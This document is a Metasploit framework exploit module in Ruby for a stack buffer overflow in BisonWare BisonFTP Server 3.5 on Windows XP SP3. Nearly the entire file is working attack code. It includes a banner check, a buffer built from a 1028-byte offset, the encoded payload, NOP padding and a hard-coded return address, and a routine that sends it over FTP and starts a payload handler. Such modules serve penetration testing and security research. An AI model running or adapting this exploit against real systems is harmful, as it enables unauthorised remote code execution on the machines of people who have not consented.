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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'BisonWare BisonFTP Server Buffer Overflow',
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        'Description' => %q{
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          BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
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          This module exploits a buffer overflow vulnerability in the said
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          application.
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        },
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        'Platform' => 'win',
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        'Author' => [
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          'localh0t', # initial discovery
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          'veerendragg @ SecPod', # initial msf
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          'Jay Turla' # msf
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '1999-1510'],
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          [ 'BID', '49109'],
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          [ 'EDB', '17649'],
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          [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
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        ],
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        'Privileged' => false,
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        'DefaultOptions' => {
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          'VERBOSE' => true
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        },
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        'Payload' => {
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          'Space' => 310,
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          'BadChars' => "\x00\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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        'Targets' => [
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          [
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            'Bisonware FTP Server / Windows XP SP3 EN',
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            {
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              'Ret' => 0x0040333f,
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              'Offset' => 1028,
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              'Nops' => 404
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2011-08-07',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    connect_login
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    disconnect
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    if /BisonWare BisonFTP server product V3\.5/i === banner
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      return Exploit::CheckCode::Appears
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    connect
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    print_status('Triggering the prompt for an unregistered product')
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    sock.put('')
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    print_status('Disconnecting...')
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    disconnect
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    print_status('Connecting for the second time to deliver our payload...')
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    connect # connect for the second time
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    buf = rand_text_alpha(target['Offset'])
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    buf << payload.encoded
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    buf << make_nops((target['Nops']) - payload.encoded.length)
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    buf << [target.ret].pack('V')
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    print_status('Sending payload...')
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    sock.put(buf)
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    handler
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    disconnect
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  end
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end
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